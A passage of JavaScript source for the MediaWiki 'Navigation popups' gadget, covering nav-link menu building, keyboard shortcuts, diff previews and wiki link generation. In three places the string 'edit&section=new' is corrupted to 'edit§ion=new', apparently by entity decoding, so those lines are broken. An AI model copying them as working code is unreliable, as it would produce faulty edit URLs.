if (!pg.api.client) {
pg.api.userAgent = 'Navigation popups/1.0 (' + mw.config.get('wgServerName') + ')';
pg.api.client = new mw.Api({
ajax: {
headers: {
'Api-User-Agent': pg.api.userAgent,
},
},
});
}
return pg.api.client;
}
// We need a callback since this might end up asynchronous because of
// the mw.loader.using() call.
function setupPopups(callback) {
if (setupPopups.completed) {
if (typeof callback === 'function') {
callback();
}
return;
}
// These dependencies should alse be enforced from the gadget,
// but not everyone loads this as a gadget, so double check
mw.loader
.using([
'mediawiki.util',
'mediawiki.api',
'mediawiki.user',
'user.options',
'mediawiki.jqueryMsg',
])
.then(fetchSpecialPageNames)
.then(() => {
// NB translatable strings should be set up first (strings.js)
// basics
setupDebugging();
setSiteInfo();
setTitleBase();
setOptions(); // see options.js
setUserInfo();
// namespaces etc
setNamespaces();
setInterwiki();
// regexps
setRegexps();
setRedirs();
// other stuff
setMisc();
setupLivePreview();
// main deal here
setupTooltips();
log('In setupPopups(), just called setupTooltips()');
Navpopup.tracker.enable();
setupPopups.completed = true;
if (typeof callback === 'function') {
callback();
}
});
}
// ENDFILE: init.js
// STARTFILE: navlinks.js
//////////////////////////////////////////////////
// navlinks... let the fun begin
//
function defaultNavlinkSpec() {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
if (getValueOf('popupLastEditLink')) {
str +=
'*<<lastEdit|shortcut=/>>|<<lastContrib>>|<<sinceMe>>if(oldid){|<<oldEdit>>|<<diffCur>>}';
}
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>*<<userlog|shortcut=L|log>>';
str += 'if(ipuser){*<<arin>>}if(wikimedia){*<<count|shortcut=#>>}';
str +=
'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>|<<blocklog|log>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>|<<editors|shortcut=E|>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>*<<move|shortcut=m>>';
// admin links
str +=
'if(admin){<br><<unprotect|unprotectShort>>|<<protect|shortcut=p>>|<<protectlog|log>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>>}';
return str;
}
function navLinksHTML(article, hint, params) {
//oldid, rcid) {
const str = '<span class="popupNavLinks">' + defaultNavlinkSpec() + '</span>';
// BAM
return navlinkStringToHTML(str, article, params);
}
function expandConditionalNavlinkString(s, article, z, recursionCount) {
const oldid = z.oldid,
rcid = z.rcid,
diff = z.diff;
// nested conditionals (up to 10 deep) are ok, hopefully! (work from the inside out)
if (typeof recursionCount != typeof 0) {
recursionCount = 0;
}
const conditionalSplitRegex = RegExp(
//(1 if \\( (2 2) \\) {(3 3)} (4 else {(5 5)} 4)1)
'(;?\\s*if\\s*\\(\\s*([\\w]*)\\s*\\)\\s*\\{([^{}]*)\\}(\\s*else\\s*\\{([^{}]*?)\\}|))',
'i'
);
const splitted = s.parenSplit(conditionalSplitRegex);
// $1: whole conditional
// $2: test condition
// $3: true expansion
// $4: else clause (possibly empty)
// $5: false expansion (possibly null)
const numParens = 5;
let ret = splitted[0];
for (let i = 1; i < splitted.length; i = i + numParens + 1) {
const testString = splitted[i + 2 - 1];
const trueString = splitted[i + 3 - 1];
let falseString = splitted[i + 5 - 1];
if (typeof falseString == 'undefined' || !falseString) {
falseString = '';
}
let testResult = null;
switch (testString) {
case 'user':
testResult = !!article.userName();
break;
case 'talk':
testResult = !article.talkPage(); // talkPage converts _articles_ to talkPages
break;
case 'admin':
testResult = !!getValueOf('popupAdminLinks');
break;
case 'oldid':
testResult = !!(typeof oldid != 'undefined' && oldid);
break;
case 'rcid':
testResult = !!(typeof rcid != 'undefined' && rcid);
break;
case 'ipuser':
testResult = !!article.isIpUser();
break;
case 'mainspace_en':
testResult = isInMainNamespace(article) && pg.wiki.hostname == 'en.wikipedia.org';
break;
case 'wikimedia':
testResult = !!pg.wiki.wikimedia;
break;
case 'diff':
testResult = !!(typeof diff != 'undefined' && diff);
break;
}
switch (testResult) {
case null:
ret += splitted[i];
break;
case true:
ret += trueString;
break;
case false:
ret += falseString;
break;
}
// append non-conditional string
ret += splitted[i + numParens];
}
if (conditionalSplitRegex.test(ret) && recursionCount < 10) {
return expandConditionalNavlinkString(ret, article, z, recursionCount + 1);
}
return ret;
}
function navlinkStringToArray(s, article, params) {
s = expandConditionalNavlinkString(s, article, params);
const splitted = s.parenSplit(/<<(.*?)>>/);
const ret = [];
for (let i = 0; i < splitted.length; ++i) {
if (i % 2) {
// i odd, so s is a tag
const t = new navlinkTag();
const ss = splitted[i].split('|');
t.id = ss[0];
for (let j = 1; j < ss.length; ++j) {
const sss = ss[j].split('=');
if (sss.length > 1) {
t[sss[0]] = sss[1];
} else {
// no assignment (no "="), so treat this as a title (overwriting the last one)
t.text = popupString(sss[0]);
}
}
t.article = article;
const oldid = params.oldid,
rcid = params.rcid,
diff = params.diff;
if (typeof oldid !== 'undefined' && oldid !== null) {
t.oldid = oldid;
}
if (typeof rcid !== 'undefined' && rcid !== null) {
t.rcid = rcid;
}
if (typeof diff !== 'undefined' && diff !== null) {
t.diff = diff;
}
if (!t.text && t.id !== 'mainlink') {
t.text = popupString(t.id);
}
ret.push(t);
} else {
// plain HTML
ret.push(splitted[i]);
}
}
return ret;
}
function navlinkSubstituteHTML(s) {
return s
.split('*')
.join(getValueOf('popupNavLinkSeparator'))
.split('<menurow>')
.join('<li class="popup_menu_row">')
.split('</menurow>')
.join('</li>')
.split('<menu>')
.join('<ul class="popup_menu">')
.split('</menu>')
.join('</ul>');
}
function navlinkDepth(magic, s) {
return s.split('<' + magic + '>').length - s.split('</' + magic + '>').length;
}
// navlinkString: * becomes the separator
// <<foo|bar=baz|fubar>> becomes a foo-link with attribute bar='baz'
// and visible text 'fubar'
// if(test){...} and if(test){...}else{...} work too (nested ok)
function navlinkStringToHTML(s, article, params) {
//limitAlert(navlinkStringToHTML, 5, 'navlinkStringToHTML\n' + article + '\n' + (typeof article));
const p = navlinkStringToArray(s, article, params);
let html = '';
let menudepth = 0; // nested menus not currently allowed, but doesn't do any harm to code for it
let menurowdepth = 0;
for (let i = 0; i < p.length; ++i) {
if (typeof p[i] == typeof '') {
html += navlinkSubstituteHTML(p[i]);
menudepth += navlinkDepth('menu', p[i]);
menurowdepth += navlinkDepth('menurow', p[i]);
// if (menudepth === 0) {
// tagType='span';
// } else if (menurowdepth === 0) {
// tagType='li';
// } else {
// tagType = null;
// }
} else if (typeof p[i].type != 'undefined' && p[i].type == 'navlinkTag') {
if (menudepth > 0 && menurowdepth === 0) {
html += '<li class="popup_menu_item">' + p[i].html() + '</li>';
} else {
html += p[i].html();
}
}
}
return html;
}
function navlinkTag() {
this.type = 'navlinkTag';
}
navlinkTag.prototype.html = function () {
this.getNewWin();
this.getPrintFunction();
let html = '';
let opening, closing;
const tagType = 'span';
if (!tagType) {
opening = '';
closing = '';
} else {
opening = '<' + tagType + ' class="popup_' + this.id + '">';
closing = '</' + tagType + '>';
}
if (typeof this.print != 'function') {
errlog('Oh dear - invalid print function for a navlinkTag, id=' + this.id);
} else {
html = this.print(this);
if (typeof html != typeof '') {
html = '';
} else if (typeof this.shortcut != 'undefined') {
html = addPopupShortcut(html, this.shortcut);
}
}
return opening + html + closing;
};
navlinkTag.prototype.getNewWin = function () {
getValueOf('popupLinksNewWindow');
if (typeof pg.option.popupLinksNewWindow[this.id] === 'undefined') {
this.newWin = null;
}
this.newWin = pg.option.popupLinksNewWindow[this.id];
};
navlinkTag.prototype.getPrintFunction = function () {
//think about this some more
// this.id and this.article should already be defined
if (typeof this.id != typeof '' || typeof this.article != typeof {}) {
return;
}
this.noPopup = 1;
switch (this.id) {
case 'contribs':
case 'history':
case 'whatLinksHere':
case 'userPage':
case 'monobook':
case 'userTalk':
case 'talk':
case 'article':
case 'lastEdit':
this.noPopup = null;
}
switch (this.id) {
case 'email':
case 'contribs':
case 'block':
case 'unblock':
case 'userlog':
case 'userSpace':
case 'deletedContribs':
this.article = this.article.userName();
}
switch (this.id) {
case 'userTalk':
case 'newUserTalk':
case 'editUserTalk':
case 'userPage':
case 'monobook':
case 'editMonobook':
case 'blocklog':
this.article = this.article.userName(true);
/* fall through */
case 'pagelog':
case 'deletelog':
case 'protectlog':
delete this.oldid;
}
if (this.id == 'editMonobook' || this.id == 'monobook') {
this.article.append('/monobook.js');
}
if (this.id != 'mainlink') {
// FIXME anchor handling should be done differently with Title object
this.article = this.article.removeAnchor();
// if (typeof this.text=='undefined') this.text=popupString(this.id);
}
switch (this.id) {
case 'undelete':
this.print = specialLink;
this.specialpage = 'Undelete';
this.sep = '/';
break;
case 'whatLinksHere':
this.print = specialLink;
this.specialpage = 'Whatlinkshere';
break;
case 'relatedChanges':
this.print = specialLink;
this.specialpage = 'Recentchangeslinked';
break;
case 'move':
this.print = specialLink;
this.specialpage = 'Movepage';
break;
case 'contribs':
this.print = specialLink;
this.specialpage = 'Contributions';
break;
case 'deletedContribs':
this.print = specialLink;
this.specialpage = 'Deletedcontributions';
break;
case 'email':
this.print = specialLink;
this.specialpage = 'EmailUser';
this.sep = '/';
break;
case 'block':
this.print = specialLink;
this.specialpage = 'Blockip';
this.sep = '&ip=';
break;
case 'unblock':
this.print = specialLink;
this.specialpage = 'Ipblocklist';
this.sep = '&action=unblock&ip=';
break;
case 'userlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&user=';
break;
case 'blocklog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=block&page=';
break;
case 'pagelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&page=';
break;
case 'protectlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=protect&page=';
break;
case 'deletelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=delete&page=';
break;
case 'userSpace':
this.print = specialLink;
this.specialpage = 'PrefixIndex';
this.sep = '&namespace=2&prefix=';
break;
case 'search':
this.print = specialLink;
this.specialpage = 'Search';
this.sep = '&fulltext=Search&search=';
break;
case 'thank':
this.print = specialLink;
this.specialpage = 'Thanks';
this.sep = '/';
this.article.value = this.diff !== 'prev' ? this.diff : this.oldid;
break;
case 'unwatch':
case 'watch':
this.print = magicWatchLink;
this.action =
this.id +
'&autowatchlist=1&autoimpl=' +
popupString('autoedit_version') +
'&actoken=' +
autoClickToken();
break;
case 'history':
case 'historyfeed':
case 'unprotect':
case 'protect':
this.print = wikiLink;
this.action = this.id;
break;
case 'delete':
this.print = wikiLink;
this.action = 'delete';
if (this.article.namespaceId() == pg.nsImageId) {
const img = this.article.stripNamespace();
this.action += '&image=' + img;
}
break;
case 'markpatrolled':
case 'edit': // editOld should keep the oldid, but edit should not.
delete this.oldid;
/* fall through */
case 'view':
case 'purge':
case 'render':
this.print = wikiLink;
this.action = this.id;
break;
case 'raw':
this.print = wikiLink;
this.action = 'raw';
break;
case 'new':
this.print = wikiLink;
this.action = 'edit§ion=new';
break;
case 'mainlink':
if (typeof this.text == 'undefined') {
this.text = this.article.toString().entify();
}
if (getValueOf('popupSimplifyMainLink') && isInStrippableNamespace(this.article)) {
// only show the /subpage part of the title text
const s = this.text.split('/');
this.text = s[s.length - 1];
if (this.text === '' && s.length > 1) {
this.text = s[s.length - 2];
}
}
this.print = titledWikiLink;
if (
typeof this.title === 'undefined' &&
pg.current.link &&
typeof pg.current.link.href !== 'undefined'
) {
this.title = safeDecodeURI(
pg.current.link.originalTitle ? pg.current.link.originalTitle : this.article
);
if (typeof this.oldid !== 'undefined' && this.oldid) {
this.title = tprintf('Revision %s of %s', [this.oldid, this.title]);
}
}
this.action = 'view';
break;
case 'userPage':
case 'article':
case 'monobook':
case 'editMonobook':
case 'editArticle':
delete this.oldid;
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.article = this.article.articleFromTalkOrArticle();
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.print = wikiLink;
if (this.id.indexOf('edit') === 0) {
this.action = 'edit';
} else {
this.action = 'view';
}
break;
case 'userTalk':
case 'talk':
this.article = this.article.talkPage();
delete this.oldid;
this.print = wikiLink;
this.action = 'view';
break;
case 'arin':
this.print = arinLink;
break;
case 'count':
this.print = editCounterLink;
break;
case 'google':
this.print = googleLink;
break;
case 'editors':
this.print = editorListLink;
break;
case 'globalsearch':
this.print = globalSearchLink;
break;
case 'lastEdit':
this.print = titledDiffLink;
this.title = popupString('Show the last edit');
this.from = 'prev';
this.to = 'cur';
break;
case 'oldEdit':
this.print = titledDiffLink;
this.title = popupString('Show the edit made to get revision') + ' ' + this.oldid;
this.from = 'prev';
this.to = this.oldid;
break;
case 'editOld':
this.print = wikiLink;
this.action = 'edit';
break;
case 'undo':
this.print = wikiLink;
this.action = 'edit&undo=';
break;
case 'revert':
this.print = wikiLink;
this.action = 'revert';
break;
case 'nullEdit':
this.print = wikiLink;
this.action = 'nullEdit';
break;
case 'diffCur':
this.print = titledDiffLink;
this.title = tprintf('Show changes since revision %s', [this.oldid]);
this.from = this.oldid;
this.to = 'cur';
break;
case 'editUserTalk':
case 'editTalk':
delete this.oldid;
this.article = this.article.talkPage();
this.action = 'edit';
this.print = wikiLink;
break;
case 'newUserTalk':
case 'newTalk':
this.article = this.article.talkPage();
this.action = 'edit§ion=new';
this.print = wikiLink;
break;
case 'lastContrib':
case 'sinceMe':
this.print = magicHistoryLink;
break;
case 'togglePreviews':
this.text = popupString(pg.option.simplePopups ? 'enable previews' : 'disable previews');
/* fall through */
case 'disablePopups':
case 'purgePopups':
this.print = popupMenuLink;
break;
default:
this.print = function () {
return 'Unknown navlink type: ' + String(this.id);
};
}
};
//
// end navlinks
//////////////////////////////////////////////////
// ENDFILE: navlinks.js
// STARTFILE: shortcutkeys.js
function popupHandleKeypress(evt) {
const keyCode = window.event ? window.event.keyCode : evt.keyCode ? evt.keyCode : evt.which;
if (!keyCode || !pg.current.link || !pg.current.link.navpopup) {
return;
}
if (keyCode == 27) {
// escape
killPopup();
return false; // swallow keypress
}
const letter = String.fromCharCode(keyCode);
const links = pg.current.link.navpopup.mainDiv.getElementsByTagName('A');
let startLink = 0;
let i, j;
if (popupHandleKeypress.lastPopupLinkSelected) {
for (i = 0; i < links.length; ++i) {
if (links[i] == popupHandleKeypress.lastPopupLinkSelected) {
startLink = i;
}
}
}
for (j = 0; j < links.length; ++j) {
i = (startLink + j + 1) % links.length;
if (links[i].getAttribute('popupkey') == letter) {
if (evt && evt.preventDefault) {
evt.preventDefault();
}
links[i].focus();
popupHandleKeypress.lastPopupLinkSelected = links[i];
return false; // swallow keypress
}
}
// pass keypress on
if (document.oldPopupOnkeypress) {
return document.oldPopupOnkeypress(evt);
}
return true;
}
function addPopupShortcuts() {
if (document.onkeypress != popupHandleKeypress) {
document.oldPopupOnkeypress = document.onkeypress;
}
document.onkeypress = popupHandleKeypress;
}
function rmPopupShortcuts() {
popupHandleKeypress.lastPopupLinkSelected = null;
try {
if (document.oldPopupOnkeypress && document.oldPopupOnkeypress == popupHandleKeypress) {
// panic
document.onkeypress = null; //function () {};
return;
}
document.onkeypress = document.oldPopupOnkeypress;
} catch (nasties) {
/* IE goes here */
}
}
function addLinkProperty(html, property) {
// take "<a href=...>...</a> and add a property
// not sophisticated at all, easily broken
const i = html.indexOf('>');
if (i < 0) {
return html;
}
return html.substring(0, i) + ' ' + property + html.substring(i);
}
function addPopupShortcut(html, key) {
if (!getValueOf('popupShortcutKeys')) {
return html;
}
const ret = addLinkProperty(html, 'popupkey="' + key + '"');
if (key == ' ') {
key = popupString('spacebar');
}
return ret.replace(/^(.*?)(title=")(.*?)(".*)$/i, '$1$2$3 [' + key + ']$4');
}
// ENDFILE: shortcutkeys.js
// STARTFILE: diffpreview.js
/**
* Load diff data.
*
* lets jump through hoops to find the rev ids we need to retrieve
*
* @param {Title} article
* @param {string} oldid
* @param {string} diff
* @param {Navpopup} navpop
*/
function loadDiff(article, oldid, diff, navpop) {
navpop.diffData = { oldRev: {}, newRev: {} };
mw.loader.using('mediawiki.api').then(() => {
const api = getMwApi();
const params = {
action: 'compare',
prop: 'ids|title',
};
params.fromtitle = article.toString();
switch (diff) {
case 'cur':
switch (oldid) {
case null:
case '':
case 'prev':
// this can only work if we have the title
// cur -> prev
params.torelative = 'prev';
break;
default:
params.fromrev = oldid;
params.torelative = 'cur';
break;
}
break;
case 'prev':
if (oldid && oldid !== 'cur') {
params.fromrev = oldid;
}
params.torelative = 'prev';
break;
case 'next':
params.fromrev = oldid || 0;
params.torelative = 'next';
break;
default:
params.fromrev = oldid || 0;
params.torev = diff || 0;
break;
}
api.get(params).then((data) => {
navpop.diffData.oldRev.revid = data.compare.fromrevid;
navpop.diffData.newRev.revid = data.compare.torevid;
addReviewLink(navpop, 'popupMiscTools');
const go = function () {
pendingNavpopTask(navpop);
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
url += 'revids=' + navpop.diffData.oldRev.revid + '|' + navpop.diffData.newRev.revid;
url += '&prop=revisions&rvslots=main&rvprop=ids|timestamp|content';
getPageWithCaching(url, doneDiff, navpop);
return true; // remove hook once run
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_DIFFS');
}
});
});
}
// Put a "mark patrolled" link to an element target
// TODO: Allow patrol a revision, as well as a diff
function addReviewLink(navpop, target) {
if (!pg.user.canReview) {
return;
}
// If 'newRev' is older than 'oldRev' than it could be confusing, so we do not show the review link.
if (navpop.diffData.newRev.revid <= navpop.diffData.oldRev.revid) {
return;
}
const params = {
action: 'query',
prop: 'info|flagged',
revids: navpop.diffData.oldRev.revid,
formatversion: 2,
};
getMwApi()
.get(params)
.then((data) => {
const stable_revid =
(data.query.pages[0].flagged && data.query.pages[0].flagged.stable_revid) || 0;
// The diff can be reviewed if the old version is the last reviewed version
// TODO: Other possible conditions that we may want to implement instead of this one:
// * old version is patrolled and the new version is not patrolled
// * old version is patrolled and the new version is more recent than the last reviewed version
if (stable_revid == navpop.diffData.oldRev.revid) {
const a = document.createElement('a');
a.innerHTML = popupString('mark patrolled');
a.title = popupString('markpatrolledHint');
a.onclick = function () {
const params = {
action: 'review',
revid: navpop.diffData.newRev.revid,
comment: tprintf('defaultpopupReviewedSummary', [
navpop.diffData.oldRev.revid,
navpop.diffData.newRev.revid,
]),
};
getMwApi()
.postWithToken('csrf', params)
.done(() => {
a.style.display = 'none';
// TODO: Update current page and other already constructed popups
})
.fail(() => {
alert(popupString('Could not marked this edit as patrolled'));
});
};
setPopupHTML(a, target, navpop.idNumber, null, true);
}
});
}
function doneDiff(download) {
if (!download.owner || !download.owner.diffData) {
return;
}
const navpop = download.owner;
completedNavpopTask(navpop);
let pages,
revisions = [];
try {
// Process the downloads
pages = getJsObj(download.data).query.pages;
for (var i = 0; i < pages.length; i++) {
revisions = revisions.concat(pages[i].revisions);
}
for (i = 0; i < revisions.length; i++) {
if (revisions[i].revid == navpop.diffData.oldRev.revid) {
navpop.diffData.oldRev.revision = revisions[i];
} else if (revisions[i].revid == navpop.diffData.newRev.revid) {
navpop.diffData.newRev.revision = revisions[i];
}
}
} catch (someError) {
errlog('Could not get diff');
}
insertDiff(navpop);
}
function rmBoringLines(a, b, context) {
if (typeof context == 'undefined') {
context = 2;
}
// this is fairly slow... i think it's quicker than doing a word-based diff from the off, though
const aa = [],
aaa = [];
const bb = [],
bbb = [];
let i, j;
// first, gather all disconnected nodes in a and all crossing nodes in a and b
for (i = 0; i < a.length; ++i) {
if (!a[i].paired) {
aa[i] = 1;
} else if (countCrossings(b, a, i, true)) {
aa[i] = 1;
bb[a[i].row] = 1;
}
}
// pick up remaining disconnected nodes in b
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
continue;
}
if (!b[i].paired) {
bb[i] = 1;
}
}
// another pass to gather context: we want the neighbours of included nodes which are not
// yet included we have to add in partners of these nodes, but we don't want to add context
// for *those* nodes in the next pass
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(b.length, i + context); ++j) {
if (!bb[j]) {
bb[j] = 1;
aa[b[j].row] = 0.5;
}
}
}
}
for (i = 0; i < a.length; ++i) {
if (aa[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(a.length, i + context); ++j) {
if (!aa[j]) {
aa[j] = 1;
bb[a[j].row] = 0.5;
}
}
}
}
for (i = 0; i < bb.length; ++i) {
if (bb[i] > 0) {
// it's a row we need
if (b[i].paired) {
bbb.push(b[i].text);
} // joined; partner should be in aa
else {
bbb.push(b[i]);
}
}
}
for (i = 0; i < aa.length; ++i) {
if (aa[i] > 0) {
// it's a row we need
if (a[i].paired) {
aaa.push(a[i].text);
} // joined; partner should be in aa
else {
aaa.push(a[i]);
}
}
}
return { a: aaa, b: bbb };
}
function stripOuterCommonLines(a, b, context) {
let i = 0;
while (i < a.length && i < b.length && a[i] == b[i]) {
++i;
}
let j = a.length - 1;
let k = b.length - 1;
while (j >= 0 && k >= 0 && a[j] == b[k]) {
--j;
--k;
}
return {
a: a.slice(Math.max(0, i - 1 - context), Math.min(a.length + 1, j + context + 1)),
b: b.slice(Math.max(0, i - 1 - context), Math.min(b.length + 1, k + context + 1)),
};
}
function insertDiff(navpop) {
// for speed reasons, we first do a line-based diff, discard stuff that seems boring, then
// do a word-based diff
// FIXME: sometimes this gives misleading diffs as distant chunks are squashed together
let oldlines = navpop.diffData.oldRev.revision.slots.main.content.split('\n');
let newlines = navpop.diffData.newRev.revision.slots.main.content.split('\n');
let inner = stripOuterCommonLines(oldlines, newlines, getValueOf('popupDiffContextLines'));
oldlines = inner.a;
newlines = inner.b;
let truncated = false;
getValueOf('popupDiffMaxLines');
if (
oldlines.length > pg.option.popupDiffMaxLines ||
newlines.length > pg.option.popupDiffMaxLines
) {
// truncate
truncated = true;
inner = stripOuterCommonLines(
oldlines.slice(0, pg.option.popupDiffMaxLines),
newlines.slice(0, pg.option.popupDiffMaxLines),
pg.option.popupDiffContextLines
);
oldlines = inner.a;
newlines = inner.b;
}
const lineDiff = diff(oldlines, newlines);
const lines2 = rmBoringLines(lineDiff.o, lineDiff.n);
const oldlines2 = lines2.a;
const newlines2 = lines2.b;
const simpleSplit = !String.prototype.parenSplit.isNative;
let html = '<hr />';
if (getValueOf('popupDiffDates')) {
html += diffDatesTable(navpop);
html += '<hr />';
}
html += shortenDiffString(
diffString(oldlines2.join('\n'), newlines2.join('\n'), simpleSplit),
getValueOf('popupDiffContextCharacters')
).join('<hr />');
setPopupTipsAndHTML(
html.split('\n').join('<br>') +
(truncated ?
'<hr /><b>' + popupString('Diff truncated for performance reasons') + '</b>' :
''),
'popupPreview',
navpop.idNumber
);
}
function diffDatesTable(navpop) {
let html = '<table class="popup_diff_dates">';
html += diffDatesTableRow(navpop.diffData.newRev.revision, tprintf('New revision'));
html += diffDatesTableRow(navpop.diffData.oldRev.revision, tprintf('Old revision'));
html += '</table>';
return html;
}
function diffDatesTableRow(revision, label) {
let txt = '';
const lastModifiedDate = new Date(revision.timestamp);
txt = formattedDateTime(lastModifiedDate);
const revlink = generalLink({
url: mw.config.get('wgScript') + '?oldid=' + revision.revid,
text: label,
title: label,
});
return simplePrintf('<tr><td>%s</td><td>%s</td></tr>', [revlink, txt]);
}
// ENDFILE: diffpreview.js
// STARTFILE: links.js
/////////////////////
// LINK GENERATION //
/////////////////////
// titledDiffLink --> titledWikiLink --> generalLink
// wikiLink --> titledWikiLink --> generalLink
// editCounterLink --> generalLink
// TODO Make these functions return Element objects, not just raw HTML strings.
function titledDiffLink(l) {
// article, text, title, from, to) {
return titledWikiLink({
article: l.article,
action: l.to + '&oldid=' + l.from,
newWin: l.newWin,
noPopup: l.noPopup,
text: l.text,
title: l.title,
/* hack: no oldid here */
actionName: 'diff',
});
}
function wikiLink(l) {
//{article:article, action:action, text:text, oldid, newid}) {
if (
!(typeof l.article == typeof {} && typeof l.action == typeof '' && typeof l.text == typeof '')
) {
return null;
}
if (typeof l.oldid == 'undefined') {
l.oldid = null;
}
const savedOldid = l.oldid;
if (!/^(edit|view|revert|render)$|^raw/.test(l.action)) {
l.oldid = null;
}
let hint = popupString(l.action + 'Hint'); // revertHint etc etc etc
const oldidData = [l.oldid, safeDecodeURI(l.article)];
let revisionString = tprintf('revision %s of %s', oldidData);
log('revisionString=' + revisionString);
switch (l.action) {
case 'edit§ion=new':
hint = popupString('newSectionHint');
break;
case 'edit&undo=':
if (l.diff && l.diff != 'prev' && savedOldid) {
l.action += l.diff + '&undoafter=' + savedOldid;
} else if (savedOldid) {
l.action += savedOldid;
}
hint = popupString('undoHint');
break;
case 'raw&ctype=text/css':
hint = popupString('rawHint');
break;
case 'revert':
var p = parseParams(pg.current.link.href);
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=' +
revertSummary(l.oldid, p.diff);
if (p.diff == 'prev') {
l.action += '&direction=prev';
revisionString = tprintf('the revision prior to revision %s of %s', oldidData);
}
if (getValueOf('popupRevertSummaryPrompt')) {
l.action += '&autosummaryprompt=true';
}
if (getValueOf('popupMinorReverts')) {
l.action += '&autominor=true';
}
log('revisionString is now ' + revisionString);
break;
case 'nullEdit':
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=null';
break;
case 'historyfeed':
l.action = 'history&feed=rss';
break;
case 'markpatrolled':
l.action = 'markpatrolled&rcid=' + l.rcid;
}
if (hint) {
if (l.oldid) {
hint = simplePrintf(hint, [revisionString]);
} else {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
}
} else {
hint = safeDecodeURI(l.article + '&action=' + l.action) + l.oldid ? '&oldid=' + l.oldid : '';
}
return titledWikiLink({
article: l.article,
action: l.action,
text: l.text,
newWin: l.newWin,
title: hint,
oldid: l.oldid,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
function revertSummary(oldid, diff) {
let ret = '';
if (diff == 'prev') {
ret = getValueOf('popupQueriedRevertToPreviousSummary');
} else {
ret = getValueOf('popupQueriedRevertSummary');
}
return ret + '&autorv=' + oldid;
}
function titledWikiLink(l) {
// possible properties of argument:
// article, action, text, title, oldid, actionName, className, noPopup
// oldid = null is fine here
// article and action are mandatory args
if (typeof l.article == 'undefined' || typeof l.action == 'undefined') {
errlog('got undefined article or action in titledWikiLink');
return null;
}
const base = pg.wiki.titlebase + l.article.urlString();
let url = base;
if (typeof l.actionName == 'undefined' || !l.actionName) {
l.actionName = 'action';
}
// no need to add &action=view, and this confuses anchors
if (l.action != 'view') {
url = base + '&' + l.actionName + '=' + l.action;
}
if (typeof l.oldid != 'undefined' && l.oldid) {
url += '&oldid=' + l.oldid;
}
let cssClass = pg.misc.defaultNavlinkClassname;
if (typeof l.className != 'undefined' && l.className) {
cssClass = l.className;
}
return generalNavLink({
url: url,
newWin: l.newWin,
title: typeof l.title != 'undefined' ? l.title : null,
text: typeof l.text != 'undefined' ? l.text : null,
className: cssClass,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
pg.fn.getLastContrib = function getLastContrib(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processLastContribInfo(x, { page: wikipage, newWin: newWin });
});
};
function processLastContribInfo(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: an odd thing happened. Please retry.');
return;
}
if (!info.firstNewEditor) {
alert(
tprintf('Only found one editor: %s made %s edits', [
info.edits[0].editor,
info.edits.length,
])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.firstNewEditor.oldid;
displayUrl(newUrl, stuff.newWin);
}
pg.fn.getDiffSinceMyEdit = function getDiffSinceMyEdit(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processDiffSinceMyEdit(x, { page: wikipage, newWin: newWin });
});
};
function processDiffSinceMyEdit(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: something fishy happened. Please try again.');
return;
}
const friendlyName = stuff.page.split('_').join(' ');
if (!info.myLastEdit) {
alert(
tprintf("Couldn't find an edit by %s\nin the last %s edits to\n%s", [
info.userName,
getValueOf('popupHistoryLimit'),
friendlyName,
])
);
return;
}
if (info.myLastEdit.index === 0) {
alert(
tprintf('%s seems to be the last editor to the page %s', [info.userName, friendlyName])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.myLastEdit.oldid;
displayUrl(newUrl, stuff.newWin);
}
function displayUrl(url, newWin) {
if (newWin) {
window.open(url);
} else {
document.location = url;
}
}
pg.fn.purgePopups = function purgePopups() {
processAllPopups(true);
setupCache(); // deletes all cached items (not browser cached, though...)
pg.option = {};
abortAllDownloads();
};
function processAllPopups(nullify, banish) {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
